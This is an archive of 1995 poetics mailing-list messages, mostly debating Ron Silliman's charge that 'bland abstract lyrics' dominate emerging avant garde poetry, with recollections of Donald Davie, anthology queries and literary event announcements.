Poetic Briefs #19, The Review Issue, featuring short commentaries on a large number of new books of poetry, is now available. PB #19 also features a special supplement--"Emerging Avant Garde Writers and the 'Post-Language Crisis,'" an essay by Mark Wallace. Poetic Briefs is encouraging responses on the supplement around the issues and problems facing new and emerging

avant garde writers. What roles are we playing? What places do we find ourselves in? What problems of form/finances/culture face emerging avant garde writers? Poetic Briefs encourages any and all short (and even longer) responses. The new address for Poetic Briefs:

Poetic Briefs
2510 Highway 100 South #333
St. Louis Park, MN 55416

Subscriptions are $10 for six 16-pg. issues, or $3 for a single or back issue.

(I'm posting this message for Jeff Hansen and Elizabeth Burns, who will be joining us on-line very soon.)

mw

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930. Mark Wallace
bland abstract lyrics, or you've got wheat in your eye
Wed 27 Sep 1995

Ron Silliman's side comment, a few days ago, that "bland abstract lyrics" are now the dominant strain of avant garde writing in 1995 is a criticism that emerging avant garde writers need to pay close attention to. The silence attending his remark (which, admittedly, he made on the side of other concerns) is disturbing. Do the younger avant garde writers on this list accept Ron's characterization? Are the potential implications of such a comment (that new avant garde writers are out of touch, apolitical, or otherwise spaced out) also things that you accept? I think that there's a far vaster range of committed, intelligent, and innovative emerging writers out there than such a comment would imply, although it may be true that there's more bland abstract disengagement than we ought to be comfortable with. Whatever the truth of Ron's statement, is it acceptable for younger writers to let an older, justifiably respected writer such as Ron Silliman be the only commentator on this list on the subject of what emerging avant garde writers are up to? Would not quiet on this subject imply a (perhaps unintentional) public agreement, an implied agreement that we ought very definitely to challenge?

Mark Wallace

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931. **Hank Lazer**
Re: Donald Davie
Wed 27 Sep 1995

My one vivid recollection of Donald Davie comes from the late 1960s, at Stanford. Bruce Franklin, who was organizing an armed militia (The Venceremos Brigade), would challenge fellow faculty members to political debates. Franklin was quite popular with the students; he was also a quick thinker. Nearly all of the faculty refused the offer of a public debate. (Bear in mind, these teach-ins took place during a series of three successive springs when we shut down the campus.) Davie was the only one who took up Franklin's offer. The position that Davie took, which befuddled nearly everyone, was an advocacy of the value of irony, a position which he articulated based in part on some writings by Thomas Mann....

Hank Lazer

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932. **Burt Kimmelman**
Re: MOO
Wed 27 Sep 1995

i'm not sure what tony green has meant in his posting by "techniqualities" but i confess to be intrigued by this. could i be let in too?

burt kimmelman
[redacted]

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933. **Jorge Guitart**
Re: bland abstract lyrics, or you've got wheat in your eye
Wed 27 Sep 1995

Thank you, Mark, for bringing this up.

Since I would very much like to learn from the old avant guardists I would need some ***concrete*** examples of bland abstract lyrics so as to avoid them and of nonbland nonabstract lyrics so as to emulate them.

Jorge

On Wed, 27 Sep 1995, Mark Wallace wrote:

> *Ron Silliman's side comment, a few days ago, that "bland abstract lyrics" are now the dominant strain of avant garde writing in 1995 is a criticism that emerging avant garde writers need to pay close attention to. The silence attending his remark (which, admittedly, he made on the*

> *side of other*
> *concerns) is disturbing. Do the younger avant garde writers on this list accept Ron's characterization? Are the potential implications of such a comment (that new avant garde writers are out of touch, apolitical, or otherwise spaced out) also things that you accept? I think that there's a far vaster range of committed, intelligent, and innovative emerging writers out there than such a comment would imply, although it may be true that there's more bland abstract disengagement than we ought to be comfortable with. Whatever the truth of Ron's statement, is it acceptable for younger writers to let an older, justifiably respected writer such as Ron Silliman be the only commentator on this list on the subject of what emerging avant garde writers are up to? Would not quiet on this subject imply a (perhaps unintentional) public agreement,*
> *an implied agreement that we ought very definitely to challenge?*
>
> *Mark Wallace*

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934. Daniel Bouchard/College/hmco

Re: bland abstract lyrics, or you've got wheat in your eye

Wed 27 Sep 1995

My mail system was "down" for a few days so I missed Ron's original posting. I am gladly unsure whether my own poetry would be considered "avant garde," but because I fall into the "young" category I wanted to voice my opinion. My poetry is certainly not bland or abstract, altho at times it is lyrical. It is also consciously political: in strains of Olson, Howe, Rexroth, Baraka, Patchen, Oppen, Duncan and Silliman. I can relate, however, with the generalizations made about young writers today as implied by Mark's questions. There are few writers my age I know who have political concerns- or at least who let those concerns show in their poetry. They may admire the poets I listed but not for the same reasons: that their poetry possesses attentions to the past and present and regards politics as a major player in individual lives. On the other hand, there are more poets my age I have neither read nor met than otherwise. I cannot agree that any generational issues can be firmly characterized while that generation is still "emerging." As for "letting" Ron be the only commentator about what emerging writers are up to: well, he's no longer the only one. Altho, I've learned much from Ron's writings, and am always interested in what he has to say.

[redacted]

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935. **Beth Russell**
CALL FOR WORK
Wed 27 Sep 1995

CALL FOR WORK
VISUAL BEHAVIORS/Digital PRODUCTIONS

THE LITTLE MAGAZINE VOL.21B, an extension of the
Volume 21 CD-ROM project, is now accepting work
suitable for electronic publication on the World
Wide Web. We are looking particularly for writing,
(poetry, fiction, criticism, theory or multi-genre
work), visual and sound art conceived as multi-media:
visual/verbal/aural/textual and hypertextual collaborations.
We invite you to exercise the possibilities in ways
WE haven't even thought of (and we lay awake pondering these
things at night.) The limits (as always) are only those
which the technology still places on the imagination and
vice versa. The proposed theme of the upcoming magazine is
VISUAL BEHAVIORS. Please feel free to stretch and
manipulate this theme to suit your purposes. Send work
from September 1, 1995 through February 1996.
Sooner is better.

SEND TO: WWW Editorial Collective
THE LITTLE MAGAZINE
Department of English
University at Albany
Albany, New York 12222
E-mail: [redacted]
or [redacted]

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936. **Ken Edwards**
Royal Albert Hall Do-wingy
Wed 27 Sep 1995

Responding to William Northcutt - I have here a leaflet advertising this bash. You can get tickets in advance from the promoter, Goldmark, Orange Street, Uppingham, Rutland, UK, telephone 01572 821 424. They cost 15 pounds, 12 pounds 50 and 10 pounds. But I should imagine you'd get in if you turn up at the Albert Hall on the day. (Which is 16 Oct, at 7.30pm.)

Goldmark is run by Mike Goldmark, the eccentric second-hand book dealer and gallery owner who championed Iain Sinclair by privately publishing his first novel, White Chappell.

I can't imagine this venture will be other than a financial disaster but I'm intrigued to hear the mix (Kathy Acker and Sorley MacLean on the same bill? Our own cris cheek with Ginsberg?), so we shall see...

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937. Ken Edwards
All rengae sound the same
Wed 27 Sep 1995

It is / they are beginning to remind me of the blob in the eponymous film.

Steve McQueen, where are you?

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938. Mark Roberts
AWOL Small press distribution
Wed 27 Sep 1995

AWOL Small press distribution

four W magazine now available from Gleebooks

four W is a literary magazine published by the Wagga Wagga Writers Writers with the assistance of Booranga, The Riverina Writers' Centre at Charles Sturt University.

Issue 5, which is currently available from Gleebooks 49 Glebe Point Road Glebe NSW phone (02) 6602333, includes poetry and prose by Dorothy Porter, Steve Evans, Jeff Guess, Tim Thorne, Kate Llewellyn, Ken Boulton & John Jenkins, Richard James Allen, Coral Hull, MTC Cronin, Myron Lysenko, David Gilbey, Margaret Bradstock, Rory Harris, David King, Kyle Powderly, Mark O'Flyn, Archimede Fusillo and many more.

Issue 6, together with The Famous Reporter, Hermes, A Familiar Need: An Anthology of Poems from the Maitland & Hunter River Region edited by Bruce Copping - Nimrod Publications, Brian Purcell's Lovely Infestation - we make u sick press and Sheila Murphy's A Clove of Gender - Stride Press (UK) and Pure Mental Breath - Gesture Press (Canada), should be available from a quality Sydney bookshop near you shortly.

These titles are distributed in Sydney by Australian Writing On Line, PO Box 333 Concord NSW. Phone (02) [redacted], Fax (02) [redacted].

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939. **Graham John Sharpe**
Re: millennium table of contents
Wed 27 Sep 1995

---

it is an exciting list of names in the anthology. in the Thrid Gallery David Jones is mentioned. Could i ask what selection has been chosen from his work. it's a real shocker to even see him recognized, so i'm not about to fuss what the selection is.

just call me curious and an anglo-welsh fan

graham

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940. **Jeff Hansen**
newpoets
Wed 27 Sep 1995

Hi! I'm Jeff Hansen, and I've just subscribed.

mark Wallace's challenge to emerging poets to answer Silliman's claim that we are producing boring lyrics is worth paying attention to. How many young poets has Ron read? Should he have much authority if he does not know much about us? Could he name names please?

the reason i ask for such specificity is because, well, of course some of us are boring lyric writers. but aren't most poets in any generation not going to set the world on fire? Many of us do not write lyrics, and those that do cannot be easily dismissed. Can the work of Juliana Spahr be considered bland lyrics? For heaven sakes, she collages together material that she heard on Oprah! Is Stephen-Paul Martin considered part of this younger generation? If so, how can his "The Flood" (Runaway Spoon Press) be considered lyrical? It uses an electric typewriter to create the most arresting visual poetry I have yet to encounter. And who's to say that the lyric is entirely outmoded? If what Silliman wants of a new generation us formal aesthetic novelty, I doubt he'll get it from us. But, as has often been mentioned, the "make it new" manifesto is now standard marketing tool for corporate America (new and improved ERA meets new and improved experimental poetry.)

May i suggest that "what's new" about this generation is its abject refusal to believe that new techniques are better techniques, that we must forge ahead into the wild blue yonder of aesthetic innovation, etc. Isn't there plenty of room for experiment, exploration, and expression in the forms already available? And if that makes me appear conservative, then where do you wnat us to go? Into

poems composed of keyboard symbols such as &***((^%^$$~!@??? Seems boring.

The wild blue yonder school of poetic innovation may have hit a wall, because what's on the other side, after we break on through, might be nothing more than innovation for innovation's sake. The advantage of working within the "avant-garde" network is that it gives us a much wider assortment of formal strategies, not that it sends us out.

Far Out Jeff Hansen

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941. **Reginald Johanson**
bland abstract lyrics
Wed 27 Sep 1995

As a young writer I would like to see some examples of what Ron Silliman sees as "bland abstract lyrics" too.

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942. **Pierre Joris**
Re: millennium table of contents
Wed 27 Sep 1995

Good question, Graham -- the answer is "none" -- for the 6 pages from _In Parenthesis_ we wanted to include, Faber&Faber asked a permission fee of more than $2000 (two thousanddollars), something quite unacceptable to us. We decided,however, to leave his name in as well the commentary on his work we had written. Jones is indeed one of the most remarkable "British", well, anglo-welsh poets of that period & someone whose work should be known & read much morewidely. -- Pierre

> *it is an exciting list of names in the anthology. in the Thrid Gallery David Jones is mentioned. Could i ask what selection has been chosen from his work. it's a real shocker to even see him recognized, so i'm not about to fuss what the selection is.*
>
> *just call me curious and an anglo-welsh fan*
>
> *graham*

==========
==========
Pierre Joris | "Poems are sketches for existence."

Dept. of English | --Paul Celan
SUNY Albany |
Albany NY 12222 | "Revisionist plots
tel&fax:[redacted] | are everywhere and our pronouns haven't yet
email: | drawn up plans for the first coup."
[redacted]| --J.H. Prynne
==========

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943. **Gale Nelson**

Re: bland abstract lyrics, or you've got wheat in your eye

Wed 27 Sep 1995

I find it an interesting leap for Mark to make that Ron was necessarily referring to younger writers as being those for whom the air was coming out of the lyrical balloon. If we accept the bait, that Ron is casting doubt on a new generation (rather than, say, his casting a wider net of concern over poetry generally), then perhaps a younger generation will have to articulate the multiplicity of designs it has on the future of poetics. Variantly, if Ron's concern is more general, then everyone is welcome to leap in, and contemplate.

Question. Where does the younger generation begin? End? What can be said to be holding it together? What could be said to be holding together the previous generation? How do we define the parameters of that generation? Is it useful to generalize (say, poets from city x like to write about boats, whereas those from city b are likely to use gerunds a great deal, and poets who are friends with a tend to disdain representation...). Are movements in poetry fluid or static? Are poets?

Gale Nelson

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944. **Jordan Davis**

Deguy/Wright/abstract

Wed 27 Sep 1995

Michel Deguy and Kenneth Koch will read on Thursday October 5 at 8 p.m. at Maison Francaise, New York University.

*

Anybody read Jay Wright?

*

I admire the abstract lyric. I have yet to stop reading anything anyone here says not to read. I like certain bland things, they cleanse. Is that transitive? Do I have to give up the blandness of Henry James, or the blandness of William Carlos Williams, or the blandness of Robert Duncan (a wildly interesting bland and abstract poet) to appreciate the blandness of Bruce Andrews I mean badboyness? Mark, I think it will be intensely boring to defend the younger generation. What Ron asked was, how did it happen that the bland abstract (one-page) lyric poem became the norm. It might be better to keep nattering away at how this (alleged) change happened. I blame the blandness of John Ashbery or rather the blandness of the vapor that settles over the reader who tries to follow his seductive jumps. Imitators produce works that mimic his jumps and connections without and I know I'm treading on you (not you Mark, whose work seems ((productively)) closer to John Godfrey's work) both the cerulean and the gunk. But I'm wrong, of course, in something like the way Ron is wrong.

Jordan Davis

↑ Index

945. **David Golumbia**

Re: bland abstract lyrics, or you've got wheat in your eye

Wed 27 Sep 1995

All I remember Ron S. saying was that he wondered how we got from SPRING & ALL to "bland, one-page, abstract lyrics." It wasn't clear to me that he meant orthodox or anti-orthodox, young or old, etc. But I took the "bland" as the principal indictment, guessing that he didn't mean to suggest that, say, Coolidge or Scalapino abstract one-pagers were (are) worthless. I'm anxious to hear Ron's response to all this -- I wonder if he's just letting this all go on to see where it goes. I'm just as interested to know about Barret Watten's recent "ambivalence" toward poetry, if Ron feels like filling us in. -- [redacted] David Golumbia

↑ Index

946. **Tony Green**

Re: MOO

Wed 27 Sep 1995

Burt K: the word is a portmanteau: " techniqalities " composed on the instant, for "how the hell do you do these things?" that Alan Sondheim mooted. To which by now his reply will be known to all.Best

Tony Green,
e-mail: [redacted]

↑ Index

947. **Tony Green**
Re: Rengas and Williams
Wed 27 Sep 1995

WCW as a rewriter, by juxtaposition is a nice move. How about Ed's critical jaundice re WCW emerging as further rewrite of spring poems quoted by H.T.Kirby-Smith? How shd it look late in 1995, or shd we wait till Spring 1996? Best

Tony Green,
e-mail: [redacted]

↑ Index

948. **Tony Green**
David Jones
Wed 27 Sep 1995

I'm glad to see D Jones included. I didn't read his writing until the 70's, but remember him vividly as a man who used to come to have tea with the art master at my school, the calligrapher and painter Maurice Percival (towards whom I had ambivalent feelings, since he was on the one hand enthusiastic and encouraging and on the other deeply and conservatively restrictive). So at that time it never occurred to me that David Jones was anything other than of the same kind. Best

Tony Green,
e-mail: [redacted]

↑ Index

949. **Tony Green**
Re: Donald Davie
Wed 27 Sep 1995

---

south-yorkshire bloody-mindedness is maybe one
mode of survival in a culture that bludgeons regularly
any but sanctioned positions isn't Boycott altogether
milder and more amenable, after all he does still get work
as a TV commentator?

Tony Green,
e-mail: [redacted]

↑ Index

950. **George Bowering**
Re: bland abstract lyrics, or you've got wheat in your eye
Wed 27 Sep 1995

No, I dont have any experience of a "generation" being "held together". I do have, as others will, companions in poetry, as Blaser puts it, but these include those poets you grew up with close, as I with Fred Wah, or Blaser with Duncan; but these companions (despite what Ed Foster might believe) include long-dead poets too, so that Blaser includes Pindar, and I would if I were not so shy, include Shelley.

↑ Index

951. **George Bowering**
Re: millennium table of contents
Wed 27 Sep 1995

Where is it a shock to see David Jones selected? Around here he has been for a long time considered along with Basil Bunting the main news from the UK.

↑ Index

952. **George Bowering**
Re: bland abstract lyrics, or you've got wheat in your eye
Wed 27 Sep 1995

Maybe we can come to Silliman's challenge from what only appears to be thje other side.

Ge
orge Bowering

THE READER & YOU

When we were sitting in our rows in high school English class, we
were instructed that we should be careful to distinguish between the person
who had written the fiction we were reading (usually Katherine Mansfield)
and the narrator of that fiction. We were given to understand that this was
a matter of the first necessary sophistication, and that from then on we
could curl our lip and raise an eyebrow whenever we heard someone say

"Katherine Mansfield said in her story . . . ."

It has taken me more years than I spent in high school to figure out that the principle involved works in other places as well. Here are two such examples:

(1) The distinction between the person who writes a poem, even a short tidy lyric poem, and the voice you hear reciting it while you look at the silent book. That is to say, if you tell me that you re reading Whitman, I know that you are listening to the speaker he made up. People are going to tell me that I am discussing the persona here. But there is a difference between Prufrock and the voice speaking in a Fred Wah poem. Maybe Eliot has two voices between himself and the reader. Anyway, when Whitman wrote that his reader was encountering a man rather than a book, he was protesting against the fate that he knew faced any writer of the first person singular or "ensemble," that as soon as he writes those words on a piece of paper he has an other to read.

(2) The distinction between "the reader" and the person who is holding the silent book and reading it.

Sometimes I go so far as to say that the "author" and the "reader" are characters in any story. (The implications are interesting if you extend this structure to speeding tickets and marriage certificates.)

How often you or I have read something in criticism or theory about "the reader," and realized that this construct is as distinct from us as is Patrick Henry or Spider Robinson.

Anyone knows that literature is an idea but reading is what you do. Literature cant hurt you but reading can.

(I am of course in my own ant-trap here, because no matter

what I
do, the "you" I am talking about is not the person reading these
words, are
you?)
So that construct that certain critics like to write about,
"the reader,"
cant do anything about what is written. But if you are reading a book
you
can intervene. You can invent a reading.
You can always skip page 35. You can read from the last page
to the
first. You can stick pages from a pornographic novel between Northrop

Frye's sheets. You can call the narrator of Atwood's second novel
Agnes.
Or you can intervene simply by reading the way you read.
The person who wrote the book cant stop you. The "author"
cant,
either. And the "reader" doesnt know you exist.
A lot of what they call "reflexive" writing is simply the
result of the
writer trying to be you. You are the ground of the so-called
postmodern.

Apologies for the (a) length and (c) weird spacing, if yr getting it.
GB
,

↑ Index

953. **Mark McMorris**
Re: bland abstract lyrics
Wed 27 Sep 1995

Yet another act of delurking (=lug rude kin):

1) Bland of course is in the eye of the beholder, but I suppose one means poetry that is monotonous, unmodulated *and* unaccented, clever rather than perceptive, perceptive rather than selective, meandering rather than directed, vague, hubristic, histrionic, picture-postcard dull--in short, metrically and procedurally commonplace. A few queries: is the abstract bland? Can there be a non-bland abstract (there can be a non-abstract bland, as we know)? By abstract are we to understand a bad case of conceptual manipulation a la late Stevens (without his ear or eye--or brain, for that matter)? Is The Triumph of

Life bland? Abstract? (Yes on both?) Is Stein's Tender Buttons abstract (I assume it's not bland)? Is Cesaire's Ferraments abstract? (No) Is it conceptual? (Yes) Lisible? (no) Scriptible? (yes) Moving?

2) I know that procedural ingenuity or formal obliquity has produced most of the interesting (to me) poetry in the US in the last 50 years, but if I am to make any sense at all, I must also say that the very same poets who opened up and kept open the still lively and living (a pesky romantic metaphor) forms of poetry around today themselves could be world-class bores. Being dull seems to be an occupational hazard of innovative writers--am I quoting here?--who venture into areas to invent them and on happy occasions (e.g, A-12, Prelude) are able release poetry, on other occasions (e.g., A-12, Prelude) fail miserably to make anything happen that hasn't already happened elsewhere to greater effect (in conversations with Celia or Paul, for instance, to which I am not privy). Who can read Paterson through without a shudder of dismay? Williams and Zukofsky were onto something that became important for US poetry in the years after them and one might well tolerate the bland in "A" in order to arrive at the sense of design in small matters as well as in large that Zukofsky undoubtedly (to me) managed to build in. What does this have to do with poets writing now? I suppose I'm trying sneakily to suggest that in a survey of any today one must expect a certain amount of the bland, but that it would be very unlikely if the Americas in 1995 were uniformly anything, let alone bland. Let's say that an attention to syntax and decontextualized, rigorously anti-mimetic linguistic subversion/resistance characterized the underground now overground practice of the recent US avant-garde. Younger poets writing now, some say the emerging poets, would I think both profit from this massive exploration of poetry as unwarrantable language given a welcome charge of distinct audibility, and want to refuse it in specific ways and parts, just as a reader might wish Zukofsky had cut some of the beginning of A-12 for poetry's sake (I hope that expressing such a wish in order to make a point does not mark me as narrow-minded or condescending--I admire Z and find his poetics both meaningful to my efforts and succinctly comprehensive). Such a refusal might well produce boring poetry if it takes place in a vacuum of further ideas, but imitating somebody else's practice certainly would (and does) produce boredom all round.

It also seems to me that bland lyrics is a fairly good description of the bulk of poetry of any period (including American poetry since the war).

3) By concealing artifice, Williams' respected example has helped to excuse the general neglect of rhythmic design--in the phrase, line, paragraph, and work--in contemporary American avant-garde poetry (but see At Passages, et al.), and therefore, together with Moore and Pound, can be blamed for the later standardization of voice at the expense of arrangement, perception at the

expense of rhythm, which absolutely guarantees bland poetry. Recent comments against Williams on this list seem to want to shoot the messenger of an American voice--one seemingly without art--now that Williams has been so clearly exposed as the "thoughtless" message in much contemporary writing. This is unfair. Taking a different direction, I would say that the fault lies not with the doctor but with the glut of words masquerading as idea in the discourse on poetry and on literature generally, or with the loss of -- an energizing loss, looked at in a certain way -- generic boundaries. Does the word poetry name anything apart from a context of presentaion? Tell me that the answer is YES. If I am a poet, I must suppose that I am not writing a context of presentation but a poem. How can I know that this is so? Circles make me dizzy. Here again, the doctor of Paterson must take some of the responsibility for at once opening up a wider terrain of poetry and, one might say, thinning it out and confusing the workers. I could (as you could) write a list of fairly recent books that work excellently from the former without succumbing to the latter, but still areas in Paterson (or Maximus) usefully diagnose the disagreeable vague monotony some object to in poetry today. The trick, I suppose, is to take the good and to leave the bad and the ugly...

4) But then again, ... (following up on Gale's remarks) are there any monoliths? states? who gets to count as the younger generation? I can never shake the feeling that all talk of generations, schools, movements in the US will remain premature because of the sheer size of the educated population. And that maybe what one could call a systematic synechdochic substitution complex--a few people for a whole continent--prompts me to continue talking about (non-)entities like the state of contemporary poetry in the US. Oh well.

Regards,

Mark McMorris

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954. **SUSAN E. TICHY**

Re: MILLENNIUM TABLE OF CONTENT

Wed 27 Sep 1995

I too am thrilled by the selection, by the project itself. But where, o where, is Mina Loy? My soul deflated considerably when I paged in vain through all the galleries... are her poems to remain as fugitive as her bowery constructions?

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955. **Thomas Bell**
Re: bland abstract lyrics, or you've got wheat in your eye
Wed 27 Sep 1995

> *Jorge wrote:*
>
> *Thank you, Mark, for bringing this [bland abstract lyrics] up.*
>
> *Since I would very much like to learn from the old avant guardists*
> *I would need some ***concrete*** examples of bland abstract lyrics so as*
> *to avoid them and of nonbland nonabstract lyrics so as to emulate them.*

From what has been said here, this might apply to the renga But it's not clear that they would be seen as bland or nonbland.

Another curious non-occurance is that on a POETICS list there has been little or no comment on the poetics and process of the renga.>On Wed, 27 Sep 1995, Mark Wallace wrote:

> *Ron Silliman's side comment, a few days ago, that "bland*
> *abstract yrics" are now the dominant strain of avant garde writing*
> *.... The silence attending his remark...is disturbing. Do the*
> *younger avant garde writers on this list accept Ron's*
> *characterization?*

↑ Index

956. **Charles Alexander**
Re: Donald Davie
Wed 27 Sep 1995

Nice to hear all the words about Donald Davie. He was, when I was an undergraduate at Stanford (mid-70's), the most influential teacher I had. I generally found him warm and kind, rather than difficult and self-destructive, although I agree with Marjorie that it seemed as if he became more difficult later. He taught me to hear poetry in a way no one had (nor has since), as he had an ear which could encompass the music of Pound and that of Tennyson (at his best, in some poems in the middle of In Memoriam). He gave me an abiding love of the works and spirit of Christopher Smart. Those may sound to some here like small gifts, but they weren't, because they were, in part, a permission to hear and think idiosyncratically, and with mind, ear, and heart. He also was the first to lead me to read Edward Dorn, who in turn led me to Duncan, Olson, and Creeley, and indirectly to much of my work since. I rather think he didn't approve of places I eventually got to in reading and writing, but I know that in a way he helped me get there. He certainly had his blind spots, and some found him arrogant, but mostly I found him challenging in a rather fine way. He gave quite a lot of himself to students who were curious.

↑ Index

957. Charles Alexander
Re: newpoets
Thu 28 Sep 1995

My new neighbor Jeff Hansen (next town over) correctly puts up against Ron Silliman's "bland abstract lyric" charge poets such as Juliana Spahr and others. I might add Gary Sullivan, Myung Mi Kim, and more. But Jeff also seems to pit, against "bland abstract lyric," "the wild blue yonder school of poetic innovation." While I don't share the implicit distrust of "the new" which Jeff manifests here, I also like to think that there's lots of room for liveliness within forms and practices which have been around awhile or which may be rather quietly innovative and which may not quite merit "wild blue yonder" status. Is bland vs. wild blue really the dichotomy we see? Aren't there lots of other choices? Doesn't ear still count for a lot in making even the most abstract lyrical work rise above blandness?

Nice to hear/read/see you here, Jeff.

charles

↑ Index

958. Aldon L. Nielsen
things & stuff
Thu 28 Sep 1995

1) As an old and still/continually emerging poet, I wonder at this tendency to equate -- new=emerging=young

I know for a fact that I am not the only old poet writing new poems that are in no books -- similarly, I know many young poets writing old poems,,, and new poets who don't emerge at all --

but I'm always willing to listen to good old fashioned intergenerational grousing -- it stirs my soul

Hey Mark -- you can be in my generation if I can be in yours

2) Many years ago I asked Donald Davie to autograph a book of his poems for me (the one about the Shires) -- As he wrote his name, he said, "This is very generous of you."

3) I read Jay Wright -- so does Carole Doreski -- & I'd bet there are others of us on the list -- assume you know Vera Kutzinski's book _Against the American Grain_ -- look it up if you haven't already seen it -- she looks at Williams, Wright and Guillen -- (to my mind she makes Guillen more interesting than his poems -- that's N. Guillen, not J. Guillen) -- Special issue of _Callalloo some years back had lots of good Wright stuff in it.

4)
The distorted conception of the clam
A concentrated scene of panic
Then calm as the sea slips
Out of the poem and sand
Clumps together at line's end

(banal abstract lyric)

↑ Index

959. **Tenney Nathanson**
jay wright
Thu 28 Sep 1995

Jordan Davis asked:

> *Anybody read Jay Wright?*

and this isn't much of an answer: kind of in the: read him? I haven't even taught him yet! vein. That is: I've taught Wright's poetry a few times at the undergrad level, but don't feel I have a very adept sense of what he does, though I know the Kutzinski stuff on him which I think is good. It's interesting, I think, to speculate on why Bloom and Hollander are such big champions of his work-- some of the later stuff is ahem "visionary" ahem but lacks the tonal mobility and fugitive irony I'd associate w the work of a lot of the poets on this list.

Alan (Godling?) are you out there today? You probably read and teach Wright, no?

Tenney

↑ Index

960. **Rod Smith**
B=A=N=A=L vs. metabolic acidosis
Thu 28 Sep 1995

Caterwauling is the conclusion that the answer could've continued carrying on about, and so, just remeber (as Nickolas K. Piombino once said): "The writing on the wall is off the wall."

I used to be banal but I gave it up for MindScience(TM)-- the petals of the wheels branching out into the whole *nervous * system--

Mark, silence cld also be taken as tacet disagreement.

So the guy says to the bartender he says he says look, it seems to me the "banal-phenomenon" (soon to enter the O.E.D.) cld be explained by the increasingly multiplicitous influences younger writers are availing themselves in (of). Yes, not so younger writers did that & do that, but the social circumstances were quite different. We have l.p. & New american influences increasingly entering a workshop environment -- what gets cranked out the other end cld often be characterized as "banal" -- however the best of them just ain't. Liz Willis' new book is good, very, many are trying to hit registers she succeeds in hitting. & if she's too somethingorother for your taste take a look at what I think is the best new mag in quite awhile, _Proliferation_, shows there are some *extremely* smart cookies (& muffins) just getting started, however the economic situation they're confronting works against them, big time. Do you know Rodrigo Toscano's work, Ron? Not too much out there yet but he has one Sun & Moon book coming & I've seen ms. of another. Someone working convincingly at energetic length.

I've often wondered if the serial poem is the defining poetic of the late 80s early 90s, more than the lyric. May have to do with publishing opportunities. "Well, I can afford a chapbook. . ."

The failure of intellect might well be ours. Does a computer not also have a mind? Don't you think the spectator's role is important? What about all these gluey wind-up 'limitless & unbounded' afterimages on my check stubs? Baffled about sporadic clucking? It goes in one eye and out the other.

send DMT but not C.O.D.,
--Rod

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961. **Pierre Joris**
Re: MILLENNIUM TABLE OF CONTENT
Thu 28 Sep 1995

Susan writes:
>
> I too am thrilled by the selection, by the project itself. But where, o
> where, is Mina Loy? My soul deflated considerably when I paged in vain
> through all the galleries... are her poems to remain as fugitive as her
> bowery constructions?
>

Look again: Mina Loy is in the first Gallery with a 5-page selection. In the book that's pages 136-140

==========
==========
Pierre Joris | "Poems are sketches for existence."
Dept. of English | --Paul Celan
SUNY Albany |
Albany NY 12222 | "Revisionist plots
tel&fax:[redacted] | are everywhere and our pronouns haven't yet
email: | drawn up plans for the first coup."
[redacted]| --J.H. Prynne
==========
==========

↑ Index

962. H. T. KIRBY-SMITH
Donald Davie
Thu 28 Sep 1995

I guess the closest I came to Donald Davie was Alan Shapiro, who was a colleague for some years; Davie claimed that before publishing any poem he first showed it to someone who was older than he was and someone who was younger, and that the younger person was Shapiro.

It seemed to me that Davie was following some sort of reactionary spoor in the United States. He wrote admiringly of Yvor Winters, and then went to Stanford; then he went to Vanderbilt where I suppose there was still a lingering odor of the Fugitives, who in their reincarnation as Agrarians were --well, let's say, as Jeffersonian as Pound. Donald Davidson, and I mean Davidson, the Fugitive and the Agrarian of the 1920s and 30s who went on living for decades--was such a fascist that when admiring his poems one has that awful feeling as if one were admiring Hitler's water colors. None of this is applicable to Davie, of course, but his American wanderings had a very odd pattern to them.

I was very put off by a piece that Davie wrote about Larkin some ten years or so ago, in which he found fault with Larkin for not being a romantic. It seemed to me it was like faulting Eeyore for not being Winnie-the-Pooh.

Tom Kirby-Smith

↑ Index

963. SUSAN E. TICHY
Re: MILLENNIUM TABLE OF CONTENT
Thu 28 Sep 1995

On Thu, 28 Sep 1995, Pierre Joris wrote:

> Susan writes:
> >
> > I too am thrilled by the selection, by the project itself. But where, o
> > where, is Mina Loy? My soul deflated considerably when I paged in vain
> > through all the galleries... are her poems to remain as fugitive as her
> > bowery constructions?
> >
>
> Look again: Mina Loy is in the first Gallery with a 5-page selection.
> In the book that's pages 136-140
>
>
==========
> Pierre Joris | "Poems are sketches for existence."
> Dept. of English | --Paul Celan
> SUNY Albany |
> Albany NY 12222 | "Revisionist plots
> tel&fax:[redacted] | are everywhere and our pronouns haven't yet
> email: | drawn up plans for the first coup."
> [redacted]| --J.H. Prynne
>
==========
>
I swear on my LL Baedeker never again to read e-mail late at night.

--Susan

↑ Index

964. Mark Roberts
AWOL: October Happenings (State listing)
Thu 28 Sep 1995

*** Note ***

Because of the length of Happenings it has been necessary to split the file. October Happenings has been posted in 2 parts. The first part is the state by state guide to readings, book launches etc, while the second part includes information on competitions and conferences. Depending on the mail reader you are using the post may be further split into smaller sections. Please let me know if this procedure has caused any problems.

Mark Roberts

*** ***

October Happenings
A monthly guide to writing events around Australia.

AUSTRALIAN WRITING ON LINE

PO Box 333 CONCORD NSW 2137 AUSTRALIA
email: [redacted]
Phone: (02) [redacted] fax (02) [redacted]

AWOL Happenings. A monthly guide to readings, book launches, conferences and other events relating to Australian literature both within Australia and overseas. If you have any item which you would like included in future listings please contact AWOL.

AWOL is also setting up a virtual bookshop for Australian small magazines and presses. This will take the form of regular newsletters (which will be available both on the net and by mail and fax) that will pre/review new publications. These titles will then be able to be ordered by mail or fax. Associated with our Virtual Bookshop is our Sydney distribution service for small presses. Please contact us for further details if you want to distribute your publication to bookshops in Sydney.

AWOL posts are archived on the WWW at the following address http://www.anatomy.su.oz.au:80/danny/books/AWOL/ then click on Australian Writing OnLine.

How to receive AWOL postings

Internet

All AWOL postings, including the monthly Happenings list, one off posts about special events, the latest literary magazines and small press books, together with information about AWOL's Virtual Bookshop, are available free to subscribers with an internet address. Simply send a post, asking to be added to our mailing list, to [redacted].

Mail

Each month AWOL will post a hard copy of that month's Happenings list, together with a copy of all special posts, to AWOL subscribers. While we are setting up our Virtual Bookshop there will be a introductory charge of $12.50 (for six months) to cover postage and printing costs (rates will be reviewed early in 1996). Please send cheques, made payable to Rochford Press, to AWOL, PO Box 333, Concord NSW 2137 (overseas rates on application).

Fax

Subscribers in the 02 telephone area can elect to have the monthly Happenings list and special posts faxed to them for $5.00 for six months. Please send cheques, made payable to Rochford Press to AWOL, PO Box 333, Concord NSW 2137. Subscribers outside the 02 area should contact us for individual fax rates.

****

NSW

SYDNEY

READINGS BOOK LAUNCHES

Every Thursday Writers Anonymous at Tap Gallery level 1 278 Palmer Street Darlinghurst. Details phone/fax [redacted]

